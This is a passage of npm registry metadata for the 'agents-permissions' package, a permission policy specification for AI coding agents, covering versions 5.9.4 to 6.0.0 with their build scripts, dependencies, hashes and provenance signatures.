agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.9.4_1778584740512_0.02692811330226985","host":"s3://npm-registry-packages-npm-production"}},"5.9.5":{"name":"agents-permissions","version":"5.9.5","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.9.5","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"28e41636210373cb5be44d64fc78eab5f505f9e6","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.9.5.tgz","fileCount":73,"integrity":"sha512-pNVVfCCG6AxrI956+QYWpuU5uxGe18694DFu3EY3UxFKqP+wCUAkr2FeIOC3tKIQqZW/cSGolMc2Xlc2oq3olg==","signatures":[{"sig":"MEUCIQCT2+vvM8mZmtoRuqSpweZIr5FGoOrF8m8hkdSWimrKsAIgDWC6ymhb/XJDRR0Yn7elBcekahv1QvrKjENg0HFW5QA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.9.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841297},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.9.5_1778585049697_0.9560261933739691","host":"s3://npm-registry-packages-npm-production"}},"5.10.0":{"name":"agents-permissions","version":"5.10.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.10.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"6fb59a1bd1c15b1193fe6cdc581862edcc9feac6","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.10.0.tgz","fileCount":73,"integrity":"sha512-7whuENgdhLEziTGtJLkpWRwDokBensH9C/6HBIvTqaDUQiApLxxJkCQR/fJ5iByqkLFY314hX/Mh/2ODWZoHxA==","signatures":[{"sig":"MEUCIBpvm6ZLxp/tTVwdMpoIsbZXFg+XW0ruIW+zAmzeNA7uAiEA0YkY85m4LyXhirrPzEnnVA/zHiF4BgSE1uHGfpfibic=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.10.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841435},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src .github/scripts","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src .github/scripts","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.1.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.10.0_1787405065760_0.25797132502980746","host":"s3://npm-registry-packages-npm-production"}},"5.11.0":{"name":"agents-permissions","version":"5.11.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.11.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"5f86497caa3d31fbf33ad092e2d3a7ce37de815f","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.11.0.tgz","fileCount":73,"integrity":"sha512-s29wiHf3W6Fyae9fXUMb+GrLQ42FdXPMyySb3Ssxy2htB7A4vKlFnNZBot6GHzm82NVvCCsap/cN7oRZMjpZmg==","signatures":[{"sig":"MEUCIQDe+ieU4gLkW3qNw8B4n7htVxZ/Pb5G1rtlXQ64WtIVPAIgTf+5qdgdgIMxp3vw9tYRaw9jBAoOhiGmLnmjkEFLyTU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.11.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841435},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src .github/scripts","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src .github/scripts","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.1.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.11.0_1787408983331_0.5654929808111251","host":"s3://npm-registry-packages-npm-production"}},"5.11.1":{"name":"agents-permissions","version":"5.11.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.11.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"adb4fb3bc1e1fb3db3d5ee6c06247f07e58e67a2","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.11.1.tgz","fileCount":73,"integrity":"sha512-hf8TI7miKW+GJU/1/m2ArU9GWftXHMzrXng00kGFnqo1EzTTqw3bWeQYnIhf7ywk6O6h3LhRrqjnFGcPuoYWOA==","signatures":[{"sig":"MEQCIGen2YfZpaE/H4GzoAA/k73Gabzp0JvRYIYK8lezNn/cAiAkXSdigFBfMax5Xk6L6JdcmbaBPc5LZuHwzReyFU5sUA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.11.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841435},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src .github/scripts","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src .github/scripts","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.1.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.11.1_1787409182350_0.3702672953936934","host":"s3://npm-registry-packages-npm-production"}},"5.11.2":{"name":"agents-permissions","version":"5.11.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.11.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"fd975bc3e450b1b79b4b432af21f5a785faf26bd","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.11.2.tgz","fileCount":73,"integrity":"sha512-h1YxJjH02dt1zfbg51kNMbAUwz+T8e2/emVzEVETu77AVQfj76RLRPgcrYGboodXXqFt75AxiGFdVytihrcNbw==","signatures":[{"sig":"MEUCIG2xZ/2TpoitjfS/C02zceE17/CfLRV3tlJy4CJ5/lbwAiEAj6MywLsU8SRqQnyay4a1clpq2QX6HTYXktASghuxO8I=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.11.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841435},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src .github/scripts","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src .github/scripts","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.1.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.11.2_1787441996034_0.11902072200466285","host":"s3://npm-registry-packages-npm-production"}},"5.11.3":{"name":"agents-permissions","version":"5.11.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.11.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"021c3377c4f744c66612cd7e55e76a2291c48295","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.11.3.tgz","fileCount":73,"integrity":"sha512-Ue1uLozVO4RW95K8LxfxDvwKqfyGvrxrqJrAemPtd3LRmtjBeKV2Y/4uwYRNVrojZHQywt1ljuuoyce34aQ5uw==","signatures":[{"sig":"MEUCIDgQSVNDewzJdzd/sfujho5p/RQaNhwYS7mGplpHzzAMAiEAsOU+oYsp/9CHLUS4bYU5vmWb7UKAy0oh746SFreBxXs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.11.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":841435},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src .github/scripts","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src .github/scripts","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.1.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.11.3_1787464039525_0.45766913581665114","host":"s3://npm-registry-packages-npm-production"}},"6.0.0":{"name":"agents-permissions","version":"6.0.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.0.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"37b00647a46091bf759056e4fda4d353727dc695","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.0.0.tgz","fileCount":79,"integrity":"sha512-Ayj8ZSXrXZrq28JlBZnVu0CNUtitY4KpKQOeNk9NTtQ2TVMAQ2SaDdQPYvmOHNhIsQpqCenRILi47YZxSNTUfw==","signatures":[{"sig":"MEUCIQCpWNWVoo8WD8QVH3LhOlzefG7hWeM/SyldYm2lGAZpzAIgfjoZwgOzosH7R5chLLRKfOkM2MLzBAiN2UpUbuHSSxU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853833},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-convent